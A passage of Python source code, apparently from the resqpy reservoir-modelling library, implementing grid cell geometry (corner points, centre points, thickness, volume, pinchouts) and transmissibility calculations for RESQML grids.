:]\n self.array_corner_points[:, j, i, 0, 1, 1, :] = points[self.k_raw_index_array, self.pillars_for_column[j, i, 1, 1], :]\n self.array_corner_points[:, j, i, 1, 1, 1, :] = points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 1, 1], :]\n else:\n for j in range(self.nj):\n for i in range(self.ni):\n self.array_corner_points[:, j, i, 0, 0, 0, :] = points[:-1, self.pillars_for_column[j, i, 0, 0], :]\n self.array_corner_points[:, j, i, 1, 0, 0, :] = points[1:, self.pillars_for_column[j, i, 0, 0], :]\n self.array_corner_points[:, j, i, 0, 1, 0, :] = points[:-1, self.pillars_for_column[j, i, 1, 0], :]\n self.array_corner_points[:, j, i, 1, 1, 0, :] = points[1:, self.pillars_for_column[j, i, 1, 0], :]\n self.array_corner_points[:, j, i, 0, 0, 1, :] = points[:-1, self.pillars_for_column[j, i, 0, 1], :]\n self.array_corner_points[:, j, i, 1, 0, 1, :] = points[1:, self.pillars_for_column[j, i, 0, 1], :]\n self.array_corner_points[:, j, i, 0, 1, 1, :] = points[:-1, self.pillars_for_column[j, i, 1, 1], :]\n self.array_corner_points[:, j, i, 1, 1, 1, :] = points[1:, self.pillars_for_column[j, i, 1, 1], :]\n else:\n if self.k_gaps:\n self.array_corner_points[:, :, :, 0, 0, 0, :] = points[self.k_raw_index_array, :-1, :-1, :]\n self.array_corner_points[:, :, :, 1, 0, 0, :] = points[self.k_raw_index_array + 1, :-1, :-1, :]\n self.array_corner_points[:, :, :, 0, 1, 0, :] = points[self.k_raw_index_array, 1:, :-1, :]\n self.array_corner_points[:, :, :, 1, 1, 0, :] = points[self.k_raw_index_array + 1, 1:, :-1, :]\n self.array_corner_points[:, :, :, 0, 0, 1, :] = points[self.k_raw_index_array, :-1, 1:, :]\n self.array_corner_points[:, :, :, 1, 0, 1, :] = points[self.k_raw_index_array + 1, :-1, 1:, :]\n self.array_corner_points[:, :, :, 0, 1, 1, :] = points[self.k_raw_index_array, 1:, 1:, :]\n self.array_corner_points[:, :, :, 1, 1, 1, :] = points[self.k_raw_index_array + 1, 1:, 1:, :]\n else:\n self.array_corner_points[:, :, :, 0, 0, 0, :] = points[:-1, :-1, :-1, :]\n self.array_corner_points[:, :, :, 1, 0, 0, :] = points[ 1:, :-1, :-1, :]\n self.array_corner_points[:, :, :, 0, 1, 0, :] = points[:-1, 1:, :-1, :]\n self.array_corner_points[:, :, :, 1, 1, 0, :] = points[ 1:, 1:, :-1, :]\n self.array_corner_points[:, :, :, 0, 0, 1, :] = points[:-1, :-1, 1:, :]\n self.array_corner_points[:, :, :, 1, 0, 1, :] = points[ 1:, :-1, 1:, :]\n self.array_corner_points[:, :, :, 0, 1, 1, :] = points[:-1, 1:, 1:, :]\n self.array_corner_points[:, :, :, 1, 1, 1, :] = points[ 1:, 1:, 1:, :]\n if cell_kji0 is None: return self.array_corner_points\n if not self.geometry_defined_for_all_cells():\n if not self.cell_geometry_is_defined(cell_kji0, cache_array = cache_resqml_array): return None\n if hasattr(self, 'array_corner_points'):\n return self.array_corner_points[tuple(cell_kji0)]\n cp = one_cell_cp(self, cell_kji0, points_root = points_root, cache_array = cache_resqml_array)\n return cp\n\n\n def invalidate_corner_points(self):\n \"\"\"Deletes cached copy of corner points, if present; use if any pillar geometry changes, or to reclaim memory.\"\"\"\n\n if hasattr(self, 'array_corner_points'):\n delattr(self, 'array_corner_points')\n\n\n def centre_point(self, cell_kji0 = None, cache_centre_array = False):\n \"\"\"Returns centre point of a cell or array of centre points of all cells; optionally cache centre points for all cells.\n\n arguments:\n cell_kji0 (optional): if present, the (k, j, i) indices of the individual cell for which the\n centre point is required; zero based indexing\n cache_centre_array (boolean, default False): If True, or cell_kji0 is None, an array of centre points\n is generated and added as an attribute of the grid, with attribute name array_centre_point\n\n returns:\n (x, y, z) 3 element numpy array of floats holding centre point of cell;\n or numpy 3+1D array if cell_kji0 is None\n\n note:\n resulting coordinates are in the same (local) crs as the grid points\n\n :meta common:\n \"\"\"\n\n if cell_kji0 is None: cache_centre_array = True\n\n # note: this function returns a derived object rather than a native resqml object\n if hasattr(self, 'array_centre_point'):\n if cell_kji0 is None: return self.array_centre_point\n return self.array_centre_point[tuple(cell_kji0)] # could check for nan here and return None\n if cache_centre_array:\n # todo: turn off nan warnings\n self.array_centre_point = np.empty((self.nk, self.nj, self.ni, 3))\n points = self.points_ref(masked = False) # todo: think about masking\n if hasattr(self, 'array_corner_points'):\n self.array_centre_point = 0.125 * np.sum(self.array_corner_points, axis = (3, 4, 5)) # mean of eight corner points for each cell\n elif self.has_split_coordinate_lines:\n # todo: replace j,i for loops with numpy broadcasting\n self.create_column_pillar_mapping()\n if self.k_gaps:\n for j in range(self.nj):\n for i in range(self.ni):\n self.array_centre_point[:, j, i, :] = 0.125 * (points[self.k_raw_index_array, self.pillars_for_column[j, i, 0, 0], :] +\n points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 0, 0], :] +\n points[self.k_raw_index_array, self.pillars_for_column[j, i, 1, 0], :] +\n points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 1, 0], :] +\n points[self.k_raw_index_array, self.pillars_for_column[j, i, 0, 1], :] +\n points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 0, 1], :] +\n points[self.k_raw_index_array, self.pillars_for_column[j, i, 1, 1], :] +\n points[self.k_raw_index_array + 1, self.pillars_for_column[j, i, 1, 1], :])\n else:\n for j in range(self.nj):\n for i in range(self.ni):\n self.array_centre_point[:, j, i, :] = 0.125 * (points[:-1, self.pillars_for_column[j, i, 0, 0], :] +\n points[1:, self.pillars_for_column[j, i, 0, 0], :] +\n points[:-1, self.pillars_for_column[j, i, 1, 0], :] +\n points[1:, self.pillars_for_column[j, i, 1, 0], :] +\n points[:-1, self.pillars_for_column[j, i, 0, 1], :] +\n points[1:, self.pillars_for_column[j, i, 0, 1], :] +\n points[:-1, self.pillars_for_column[j, i, 1, 1], :] +\n points[1:, self.pillars_for_column[j, i, 1, 1], :])\n else:\n if self.k_gaps:\n self.array_centre_point[:, :, :, :] = 0.125 * (points[self.k_raw_index_array, :-1, :-1, :] +\n points[self.k_raw_index_array, :-1, 1:, :] +\n points[self.k_raw_index_array, 1:, :-1, :] +\n points[self.k_raw_index_array, 1:, 1:, :] +\n points[self.k_raw_index_array + 1, :-1, :-1, :] +\n points[self.k_raw_index_array + 1, :-1, 1:, :] +\n points[self.k_raw_index_array + 1, 1:, :-1, :] +\n points[self.k_raw_index_array + 1, 1:, 1:, :])\n else:\n self.array_centre_point[:, :, :, :] = 0.125 * (points[:-1, :-1, :-1, :] +\n points[:-1, :-1, 1:, :] +\n points[:-1, 1:, :-1, :] +\n points[:-1, 1:, 1:, :] +\n points[1:, :-1, :-1, :] +\n points[1:, :-1, 1:, :] +\n points[1:, 1:, :-1, :] +\n points[1:, 1:, 1:, :])\n if cell_kji0 is None: return self.array_centre_point\n return self.array_centre_point[cell_kji0[0], cell_kji0[1], cell_kji0[2]] # could check for nan here and return None\n cp = self.corner_points(cell_kji0 = cell_kji0, cache_cp_array = False)\n if cp is None: return None\n centre = np.zeros(3)\n for axis in range(3):\n centre[axis] = np.mean(cp[:, :, :, axis])\n return centre\n\n\n def centre_point_list(self, cell_kji0s):\n \"\"\"Returns centre points for a list of cells; caches centre points for all cells.\n\n arguments:\n cell_kji0s (numpy int array of shape (N, 3)): the (k, j, i) indices of the individual cells for which the\n centre points are required; zero based indexing\n\n returns:\n numpy float array of shape (N, 3) being the (x, y, z) centre points of the cells\n\n note:\n resulting coordinates are in the same (local) crs as the grid points\n \"\"\"\n\n assert cell_kji0s.ndim == 2 and cell_kji0s.shape[1] == 3\n centres_list = np.empty(cell_kji0s.shape)\n for cell in range(len(cell_kji0s)):\n centres_list[cell] = self.centre_point(cell_kji0 = cell_kji0s[cell], cache_centre_array = True)\n return centres_list\n\n\n def thickness(self, cell_kji0 = None, points_root = None, cache_resqml_array = True,\n cache_cp_array = False, cache_thickness_array = True, property_collection = None):\n \"\"\"Returns vertical (z) thickness of cell and/or caches thicknesses for all cells.\n\n arguments:\n cell_kji0 (optional): if present, the (k, j, i) indices of the individual cell for which the\n thickness is required; zero based indexing\n cache_resqml_array (boolean, default True): If True, the raw points array from the hdf5 file\n is cached in memory, but only if it is needed to generate the thickness\n cache_cp_array (boolean, default True): If True, an array of corner points is generated and\n added as an attribute of the grid, with attribute name corner_points, but only\n if it is needed in order to generate the thickness\n cache_thickness_array (boolean, default False): if True, thicknesses are generated for all cells in\n the grid and added as an attribute named array_thickness\n property_collection (property:GridPropertyCollection, optional): If not None, this collection\n is probed for a suitable thickness or cell length property which is used\n preferentially to calculating thickness; if no suitable property is found,\n the calculation is made as if the collection were None\n\n returns:\n float, being the thickness of cell identified by cell_kji0; or numpy float array if cell_kji0 is None\n\n notes:\n the function can be used to find the thickness of a single cell, or cache thickness for all cells, or both;\n if property_collection is not None, a suitable thickness or cell length property will be used if present;\n if calculated, thickness is defined as z difference between centre points of top and base faces (TVT);\n at present, assumes K increases with same polarity as z; if not, negative thickness will be calculated;\n units of result are implicitly those of z coordinates in grid's coordinate reference system, or units of\n measure of property array if the result is based on a suitable property\n\n :meta common:\n \"\"\"\n\n def load_from_property(collection):\n if collection is None: return None\n parts = collection.selective_parts_list(property_kind = 'thickness', facet_type = 'netgross', facet = 'gross')\n if len(parts) == 1: return collection.cached_part_array_ref(parts[0])\n parts = collection.selective_parts_list(property_kind = 'thickness')\n if len(parts) == 1 and collection.facet_for_part(parts[0]) is None: return collection.cached_part_array_ref(parts[0])\n parts = collection.selective_parts_list(property_kind = 'cell length', facet_type = 'direction', facet = 'K')\n if len(parts) == 1: return collection.cached_part_array_ref(parts[0])\n return None\n\n # note: this function optionally looks for a suitable thickness property, otherwise calculates from geometry\n # note: for some geometries, thickness might need to be defined as length of vector between -k & +k face centres (TST)\n # todo: give more control over source of data through optional args; offer TST or TVT option\n # todo: if cp array is not already cached, compute directly from points without generating cp\n # todo: cache uom\n assert cache_thickness_array or (cell_kji0 is not None)\n\n if hasattr(self, 'array_thickness'):\n if cell_kji0 is None: return self.array_thickness\n return self.array_thickness[tuple(cell_kji0)] # could check for nan here and return None\n\n thick = load_from_property(property_collection)\n if thick is not None:\n log.debug('thickness array loaded from property')\n if cache_thickness_array: self.array_thickness = thick.copy()\n if cell_kji0 is None: return self.array_thickness\n return self.array_thickness[tuple(cell_kji0)] # could check for nan here and return None\n\n points_root = self.resolve_geometry_child('Points', child_node = points_root)\n if cache_thickness_array:\n if cache_cp_array: self.corner_points(points_root = points_root, cache_cp_array = True)\n if hasattr(self, 'array_corner_points'):\n self.array_thickness = np.abs(np.mean(self.array_corner_points[:, :, :, 1, :, :, 2] -\n self.array_corner_points[:, :, :, 0, :, :, 2], axis = (3, 4)))\n if cell_kji0 is None: return self.array_thickness\n return self.array_thickness[tuple(cell_kji0)] # could check for nan here and return None\n self.array_thickness = np.empty(tuple(self.extent_kji))\n points = self.point_raw(cache_array = True) # cache points regardless\n if points is None: return None # geometry not present\n if self.k_gaps:\n pillar_thickness = points[self.k_raw_index_array + 1, ..., 2] - points[self.k_raw_index_array, ..., 2]\n else:\n pillar_thickness = points[1:, ..., 2] - points[:-1, ..., 2]\n if self.has_split_coordinate_lines:\n pillar_for_col = self.create_column_pillar_mapping()\n self.array_thickness = np.abs(0.25 * (pillar_thickness[:, pillar_for_col[:, :, 0, 0]] +\n pillar_thickness[:, pillar_for_col[:, :, 0, 1]] +\n pillar_thickness[:, pillar_for_col[:, :, 1, 0]] +\n pillar_thickness[:, pillar_for_col[:, :, 1, 1]]))\n else:\n self.array_thickness = np.abs(0.25 * (pillar_thickness[:, :-1, :-1] +\n pillar_thickness[:, :-1, 1:] +\n pillar_thickness[:, 1:, :-1] +\n pillar_thickness[:, 1:, 1:]))\n if cell_kji0 is None: return self.array_thickness\n return self.array_thickness[tuple(cell_kji0)] # could check for nan here and return None\n\n cp = self.corner_points(cell_kji0 = cell_kji0, points_root = points_root,\n cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n if cp is None: return None\n return abs(np.mean(cp[1, :, :, 2]) - np.mean(cp[0, :, :, 2]))\n\n\n def point_areally(self, tolerance = 0.001):\n \"\"\"Returns a numpy boolean array of shape extent_kji indicating which cells are reduced to a point in both I & J axes.\n\n Note:\n Any NaN point values will yield True for a cell\n \"\"\"\n\n points = self.points_ref(masked = False)\n # todo: turn off NaN warning for numpy > ?\n if self.has_split_coordinate_lines:\n pillar_for_col = self.create_column_pillar_mapping()\n j_pair_vectors = points[:, pillar_for_col[:, :, 1, :], :] - points[:, pillar_for_col[:, :, 0, :], :]\n i_pair_vectors = points[:, pillar_for_col[:, :, :, 1], :] - points[:, pillar_for_col[:, :, :, 0], :]\n j_pair_nans = np.isnan(j_pair_vectors)\n i_pair_nans = np.isnan(i_pair_vectors)\n any_nans = np.any(np.logical_or(j_pair_nans, i_pair_nans), axis = (3, 4))\n j_pair_extant = np.any(np.abs(j_pair_vectors) > tolerance, axis = -1)\n i_pair_extant = np.any(np.abs(i_pair_vectors) > tolerance, axis = -1)\n any_extant = np.any(np.logical_or(j_pair_extant, i_pair_extant), axis = 3)\n else:\n j_vectors = points[:, 1:, :, :] - points[:, :-1, :, :]\n i_vectors = points[:, :, 1:, :] - points[:, :, :-1, :]\n j_nans = np.any(np.isnan(j_vectors), axis = -1)\n i_nans = np.any(np.isnan(i_vectors), axis = -1)\n j_pair_nans = np.logical_or(j_nans[:, :, :-1], j_nans[:, :, 1:])\n i_pair_nans = np.logical_or(i_nans[:, :-1, :], i_nans[:, 1:, :])\n any_nans = np.logical_or(j_pair_nans, i_pair_nans)\n j_extant = np.any(np.abs(j_vectors) > tolerance, axis = -1)\n i_extant = np.any(np.abs(i_vectors) > tolerance, axis = -1)\n j_pair_extant = np.logical_or(j_extant[:, :, :-1], j_extant[:, :, 1:])\n i_pair_extant = np.logical_or(i_extant[:, :-1, :], i_extant[:, 1:, :])\n any_extant = np.logical_or(j_pair_extant, i_pair_extant)\n layered = np.logical_or(any_nans, np.logical_not(any_extant))\n if self.k_gaps:\n return np.logical_and(layered[self.k_raw_index_array], layered[self.k_raw_index_array + 1])\n return np.logical_and(layered[:-1], layered[1:])\n\n\n def volume(self, cell_kji0 = None, points_root = None, cache_resqml_array = True,\n cache_cp_array = False, cache_centre_array = False,\n cache_volume_array = True, property_collection = None):\n \"\"\"Returns bulk rock volume of cell or numpy array of bulk rock volumes for all cells.\n\n arguments:\n cell_kji0 (optional): if present, the (k, j, i) indices of the individual cell for which the\n volume is required; zero based indexing\n cache_resqml_array (boolean, default True): If True, the raw points array from the hdf5 file\n is cached in memory, but only if it is needed to generate the volume\n cache_cp_array (boolean, default False): If True, an array of corner points is generated and\n added as an attribute of the grid, with attribute name corner_points, but only\n if it is needed in order to generate the volume\n cache_volume_array (boolean, default False): if True, volumes are generated for all cells in\n the grid and added as an attribute named array_volume\n property_collection (property:GridPropertyCollection, optional): If not None, this collection\n is probed for a suitable volume property which is used preferentially\n to calculating volume; if no suitable property is found,\n the calculation is made as if the collection were None\n\n returns:\n float, being the volume of cell identified by cell_kji0;\n or numpy float array of shape (nk, nj, ni) if cell_kji0 is None\n\n notes:\n the function can be used to find the volume of a single cell, or cache volumes for all cells, or both;\n if property_collection is not None, a suitable volume property will be used if present;\n if calculated, volume is computed using 6 tetras each with a non-planar bilinear base face;\n at present, grid's coordinate reference system must use same units in z as xy (projected);\n units of result are implicitly those of coordinates in grid's coordinate reference system, or units of\n measure of property array if the result is based on a suitable property\n\n :meta common:\n \"\"\"\n\n def load_from_property(collection):\n if collection is None: return None\n parts = collection.selective_parts_list(property_kind = 'rock volume', facet_type = 'netgross', facet = 'gross')\n if len(parts) == 1: return collection.cached_part_array_ref(parts[0])\n parts = collection.selective_parts_list(property_kind = 'rock volume')\n if len(parts) == 1 and collection.facet_for_part(parts[0]) is None:\n return collection.cached_part_array_ref(parts[0])\n return None\n\n # note: this function optionally looks for a suitable volume property, otherwise calculates from geometry\n # todo: modify z units if needed, to match xy units\n # todo: give control over source with optional arguments\n # todo: cache uom\n assert (cache_volume_array is not None) or (cell_kji0 is not None)\n\n if hasattr(self, 'array_volume'):\n if cell_kji0 is None: return self.array_volume\n return self.array_volume[tuple(cell_kji0)] # could check for nan here and return None\n\n vol_array = load_from_property(property_collection)\n if vol_array is not None:\n if cache_volume_array: self.array_volume = vol_array.copy()\n if cell_kji0 is None: return vol_array\n return vol_array[tuple(cell_kji0)] # could check for nan here and return None\n\n cache_cp_array = cache_cp_array or cell_kji0 is None\n cache_volume_array = cache_volume_array or cell_kji0 is None\n\n off_hand = self.off_handed()\n\n points_root = self.resolve_geometry_child('Points', child_node = points_root)\n if points_root is None: return None # geometry not present\n centre_array = None\n if cache_volume_array or cell_kji0 is None:\n self.corner_points(points_root = points_root, cache_cp_array = True)\n if cache_centre_array:\n self.centre_point(cache_centre_array = True)\n centre_array = self.array_centre_point\n vol_array = vol.tetra_volumes(self.array_corner_points, centres = centre_array, off_hand = off_hand)\n if cache_volume_array: self.array_volume = vol_array\n if cell_kji0 is None: return vol_array\n return vol_array[tuple(cell_kji0)] # could check for nan here and return None\n\n cp = self.corner_points(cell_kji0 = cell_kji0, points_root = points_root,\n cache_resqml_array = cache_resqml_array, cache_cp_array = cache_cp_array)\n if cp is None: return None\n return vol.tetra_cell_volume(cp, off_hand = off_hand)\n\n\n def pinched_out(self, cell_kji0 = None, tolerance = 0.001, points_root = None,\n cache_resqml_array = True, cache_cp_array = False,\n cache_thickness_array = False, cache_pinchout_array = None):\n \"\"\"Returns boolean or boolean array indicating whether cell is pinched out; ie. has a thickness less than tolerance.\n\n :meta common:\n \"\"\"\n\n # note: this function returns a derived object rather than a native resqml object\n # note: returns True for cells without geometry\n # todo: check behaviour in response to NaNs and undefined geometry\n if cache_pinchout_array is None: cache_pinchout_array = (cell_kji0 is None)\n\n if self.pinchout is not None:\n if cell_kji0 is None: return self.pinchout\n return self.pinchout[tuple(cell_kji0)]\n\n if points_root is None:\n points_root = self.resolve_geometry_child('Points', child_node = points_root)\n# if points_root is None: return None # geometry not present\n\n thick = self.thickness(cell_kji0, points_root = points_root,\n cache_resqml_array = cache_resqml_array,\n cache_cp_array = cache_cp_array, # deprecated\n cache_thickness_array = cache_thickness_array or cache_pinchout_array)\n if cache_pinchout_array:\n self.pinchout = np.where(np.isnan(self.array_thickness), True, np.logical_not(self.array_thickness > tolerance))\n if cell_kji0 is None: return self.pinchout\n return self.pinchout[tuple(cell_kji0)]\n if thick is not None: return thick <= tolerance\n return None\n\n\n def half_cell_transmissibility(self, use_property = True, realization = None, tolerance = 1.0e-6):\n \"\"\"Returns (and caches if realization is None) half cell transmissibilities for this grid.\n\n arguments:\n use_property (boolean, default True): if True, the grid's property collection is inspected for\n a possible half cell transmissibility array and if found, it is used instead of calculation\n realization (int, optional) if present, only a property with this realization number will be used\n tolerance (float, default 1.0e-6): minimum half axis length below which the transmissibility\n will be deemed uncomputable (for the axis in question); NaN values will be returned (not Inf);\n units are implicitly those of the grid's crs length units\n\n returns:\n numpy float array of shape (nk, nj, ni, 3, 2) where the 3 covers K,J,I and the 2 covers the\n face polarity: - (0) and + (1); units will depend on the length units of the coordinate reference\n system for the grid; the units will be m3.cP/(kPa.d) or bbl.cP/(psi.d) for grid length units of m\n and ft respectively\n\n notes:\n the returned array is in the logical resqpy arrangement; it must be discombobulated before being\n added as a property; this method does not write to hdf5, nor create a new property or xml;\n if realization is None, a grid attribute cached array will be used; tolerance will only be\n used if the half cell transmissibilities are actually computed\n \"\"\"\n\n # todo: allow passing of property uuids for ntg, k_k, j, i\n\n if realization is None and hasattr(self, 'array_half_cell_t'): return self.array_half_cell_t\n\n half_t = None\n\n if use_property:\n pc = self.property_collection\n half_t_resqml = pc.single_array_ref(property_kind = 'transmissibility',\n realization = realization,\n continuous = True, count = 1, indexable = 'faces per cell')\n if half_t_resqml:\n assert half_t_resqml.shape == (self.nk, self.nj, self.ni, 6)\n half_t = pc.combobulate(half_t_resqml)\n\n if half_t is None:\n half_t = rqtr.half_cell_t(self, realization = realization) # note: properties must be identifiable in property_collection\n\n if realization is None: self.array_half_cell_t = half_t\n\n return half_t\n\n\n def transmissibility(self, tolerance = 1.0e-6, use_tr_properties = True, realization = None,\n modifier_mode = None):\n \"\"\"Returns transmissibilities for standard (IJK neighbouring) connections within this grid.\n\n arguments:\n tolerance (float, default 1.0e-6): the minimum half cell transmissibility below which zero inter-cell\n transmissibility will be set; units are as for returned values (see notes)\n use_tr_properties (boolean, default True): if True, the grid's property collection is inspected for\n possible transmissibility arrays and if found, they are used instead of calculation; note that\n when this argument is False, the property collection is still used for the feed arrays to the\n calculation\n realization (int, optional) if present, only properties with this realization number will be used;\n applies to pre-computed transmissibility properties or permeability and net to gross ratio\n properties when computing\n modifier_mode (string, optional): if None, no transmissibility modifiers are applied; other\n options are: 'faces multiplier', for which directional transmissibility properties with indexable\n element of 'faces' will be used; 'faces per cell multiplier', in which case a transmissibility\n property with 'faces per cell' as the indexable element will be used to modify the half cell\n transmissibilities prior to combination; or 'absolute' in which case directional properties\n of local property kind 'fault transmissibility' (or 'mat transmissibility') and indexable\n element of 'faces' will be used as a third transmissibility term along with the two half\n cell transmissibilities at each face; see also the notes below\n\n returns:\n 3 numpy float arrays of shape (nk + 1, nj, ni), (nk, nj + 1, ni), (nk, nj, ni + 1) being the\n neighbourly transmissibilities in K, J & I axes respectively\n\n notes:\n the 3 permeability arrays (and net to gross ratio if in use) must be identifiable in the property\n collection as they are used for the calculation;\n implicit units of measure of returned values will be m3.cP/(kPa.d) if grid crs length units are metres,\n bbl.cP/(psi.d) if length units are feet; the computation is compatible with the Nexus NEWTRAN formulation;\n values will be zero at pinchouts, and at column edges where there is a split pillar, even if there is\n juxtapostion of faces; the same is true of K gap faces (even where the gap is zero); NaNs in any of\n the feed properties also result in transmissibility values of zero;\n outer facing values will always be zero (included to be in accordance with RESQML faces properties);\n array caching in the grid object will only be used if realization is None; if a modifier mode of\n 'faces multiplier' or 'faces per cell multiplier' is specified, properties will be searched for with\n local property kind 'transmissibility multiplier' and the appropriate indexable element (and direction\n facet in the case of 'faces multiplier'); the modifier mode of 'absolute' can be used to model the\n effect of faults and thin shales, tar mats etc. in a way which is independent of cell size;\n for 'aboslute' directional properties with indexable element of 'faces' and local property kind\n 'fault transmissibility' (or 'mat transmissibility') will be used; such absolute faces transmissibilities\n should have a value of np.inf or np.nan where no modification is required; note that this method is only\n dealing with logically neighbouring cells and will not compute values for faces with a split pillar,\n which should be handled elsewhere\n \"\"\"\n\n # todo: improve handling of units: check uom for half cell transmissibility property and for absolute modifiers\n\n k_tr = j_tr = i_tr = None\n\n if realization is None:\n if hasattr(self, 'array_k_transmissibility') and self.array_k_transmissibility is not None:\n k_tr = self.array_k_transmissibility\n if hasattr(self, 'array_j_transmissibility') and self.array_j_transmissibility is not None:\n j_tr = self.array_j_transmissibility\n if hasattr(self, 'array_i_transmissibility') and self.array_i_transmissibility is not None:\n i_tr = self.array_i_transmissibility\n\n if use_tr_properties and (k_tr is None or j_tr is None or i_tr is None):\n\n pc = self.extract_property_collection()\n\n if k_tr is None:\n k_tr = pc.single_array_ref(property_kind = 'transmissibility', realization = realization,\n continuous = True, count = 1, indexable = 'faces',\n facet_type = 'direction', facet = 'K')\n if k_tr is not None:\n assert k_tr.shape == (self.nk + 1, self.nj, self.ni)\n if realization is None: self.array_k_transmissibility = k_tr\n\n if j_tr is None:\n j_tr = pc.single_array_ref(property_kind = 'transmissibility', realization = realization,\n continuous = True, count = 1, indexable = 'faces',\n facet_type = 'direction', facet = 'J')\n if j_tr is not None:\n assert j_tr.shape == (self.nk, self.nj + 1, self.ni)\n if realization is None: self.array_j_transmissibility = j_tr\n\n if i_tr is None:\n i_tr = pc.single_array_ref(property_kind = 'transmissibility', realization = realization,\n continuous = True, count = 1, indexable = 'faces',\n facet_type = 'direction', facet = 'I')\n if i_tr is not None:\n assert i_tr.shape == (self.nk, self.nj, self.ni + 1)\n if realization is None: self.array_i_transmissibility = i_tr\n\n if k_tr is None or j_tr is None or i_tr is None:\n\n half_t = self.half_cell_transmissibility(use_property = use_tr_properties, realization = realization)\n\n if modifier_mode == 'faces per cell multiplier':\n pc = self.extract_property_collection()\n half_t_mult = pc.single_array_ref(property_kind = 'transmissibility multiplier', realization = realization,\n continuous = True, count = 1, indexable = 'faces per cell')\n if half_t_mult is None:\n log.warning('no faces per cell transmissibility multiplier found when calculating transmissibilities')\n else:\n log.debug('applying faces per cell transmissibility multipliers')\n half_t = np.where(np.isnan(half_t_mult), half_t, half_t * half_t_mult)\n\n if self.has_split_coordinate_lines and (j_tr is None or i_tr is None):\n split_column_edges_j, split_column_edges_i = self.split_column_faces()\n else:\n split_column_edges_j, split_column_edges_i = None, None\n\n np.seterr(divide = 'ignore')\n\n if k_tr is None:\n k_tr = np.zeros((self.nk + 1, self.nj, self.ni))\n slice_a = half_t[:-1, :, :, 0, 1] # note: internal faces only\n slice_b = half_t[1:, :, :, 0, 0]\n internal_zero_mask = np.logical_or(np.logical_or(np.isnan(slice_a), slice_a < tolerance),\n np.logical_or(np.isnan(slice_b), slice_b < tolerance))\n if self.k_gaps: # todo: scan K gaps for zero thickness gaps and allow transmission there\n internal_zero_mask[self.k_gap_after_array, :, :] = True\n tr_mult = None\n if modifier_mode == 'faces multiplier':\n tr_mult = pc.single_array_ref(property_kind = 'transmissibility multiplier', realization = realization,\n facet_type = 'direction', facet = 'K',\n continuous = True, count = 1, indexable = 'faces')\n if tr_mult is not None:\n assert tr_mult.shape == (self.nk + 1, self.nj, self.ni)\n internal_zero_mask = np.logical_or(internal_zero_mask, np.isnan(tr_mult[1:-1, :, :]))\n if tr_mult is None: tr_mult = 1.0\n tr_abs_r = 0.0\n if modifier_mode == 'absolute':\n tr_abs = pc.single_array_ref(property_kind = 'mat transmissibility', realization = realization,\n facet_type = 'direction', facet = 'K',\n continuous = True, count = 1, indexable = 'faces')\n if tr_abs is None:\n tr_abs = pc.single_array_ref(property_kind = 'mat transmissibility', realization = realization,\n continuous = True, count = 1, indexable = 'faces')\n if tr_abs is None:\n tr_abs = pc.single_array_ref(property_kind = 'fault transmissibility', realization = realization,\n facet_type = 'direction', facet = 'K',\n continuous = True, count = 1, indexable = 'faces')\n if tr_abs is not None:\n log.debug('applying absolute K face transmissibility modification')\n assert tr_abs.shape == (self.nk + 1, self.nj, self.ni)\n internal_zero_mask = np.logical_or(internal_zero_mask, tr_abs[1:-1, :, :] <= 0.0)\n tr_abs_r = np.where(np.logical_or(np.isinf(tr_abs), np.isnan(tr_abs)), 0.0, 1.0 / tr_abs)\n k_tr[1:-1, :, :] = np.where(internal_zero_mask, 0.0, tr_mult / ((1.0 / slice_a) + tr_abs_r + (1.0 / slice_b)))\n if realization is None: self.array_k_transmissibility = k_tr\n\n if j_tr is None:\n j_tr = np.zeros((self.nk, self.nj + 1, self.ni))\n slice_a = half_t[:, :-1, :, 1, 1] # note: internal faces only\n slice_b = half_t[:, 1:, :, 1, 0]\n internal_zero_mask = np.logical_or(np.logical_or(np.isnan(slice_a), slice_a < tolerance),\n np.logical_or(np.isnan(slice_b), slice_b < tolerance))\n if split_column_edges_j is not None:\n internal_zero_mask[:, split_column_edges_j] = True\n tr_mult = None\n if modifier_mode == 'faces multiplier':\n tr_mult = pc.single_array_ref(property_kind = 'transmissibility multiplier', realization = realization,\n facet_type = 'direction', facet = 'J',\n continuous = True, count = 1, indexable = 'faces')\n if tr_mult is None:\n log.warning('no J direction faces transmissibility multiplier found when calculating transmissibilities')\n else:\n assert tr_mult.shape == (self.nk, self.nj + 1, self.ni)\n internal_zero_mask = np.logical_or(internal_zero_mask, np.isnan(tr_mult[:, 1:-1, :]))\n if tr_mult is None: tr_mult = 1.0\n tr_abs_r = 0.0\n if modifier_mode == 'absolute':\n tr_abs = pc.single_array_ref(property_kind = 'fault transmissibility', realization = realization,\n facet_type = 'direction', facet = 'J',\n continuous = True, count = 1, indexable = 'faces')\n if tr_abs is not None:\n log.debug('applying absolute J face transmissibility modification')\n assert tr_abs.shape == (self.nk, self.nj + 1, self.ni)\n internal_zero_mask = np.logical_or(internal_zero_mask, tr_abs[:, 1:-1, :] <= 0.0)\n tr_abs_r = np.where(np.logical_or(np.isinf(tr_abs), np.isnan(tr_abs)), 0.0, 1.0 / tr_abs)\n j_tr[:, 1:-1, :] = np.where(internal_zero_mask, 0.0, tr_mult / ((1.0 / slice_a) + tr_abs_r + (1.0 / slice_b)))\n if realization is None: self.array_j_transmissibility = j_tr\n\n if i_tr is None:\n i_tr = np.zeros((self.nk, self.nj, self.ni + 1))\n slice_a = half_t[:, :, :-1, 2, 1] # note: internal faces only\n slice_b = half_t[:, :, 1:, 2, 0]\n internal_zero_mask = np.logical_or(np.logical_or(np.isnan(slice_a), slice_a < tolerance),\n np.logical_or(np.isnan(slice_b), slice_b < tolerance))\n if split_column_edges_i is not None:\n internal_zero_mask[:, split_column_edges_i] = True\n tr_mult = None\n if modifier_mode == 'faces multiplier':\n tr_mult = pc.single_array_ref(property_kind = 'transmissibility multiplier', realization = realization,\n facet_type = 'direction', facet = 'I',\n continuous = True, count = 1, indexable = 'faces')\n if tr_mult is None:\n log.warning('no I direction faces transmissibility multiplier found when calculating transmissibilities')\n else:\n assert tr_mult.shape == (self.nk, self.nj, self.ni + 1)\n internal_zero_mask = np.logical_or(internal_zero_mask, np.isnan(tr_mult[:, :, 1:-1]))\n if tr_mult is None: tr_mult = 1.0\n tr_abs_r = 0.0\n if modifier_mode == 'absolute':\n tr_abs = pc.single_array_ref(property_kind = 'fault transmissibility', realization = realization,\n facet_type = 'direction', facet = 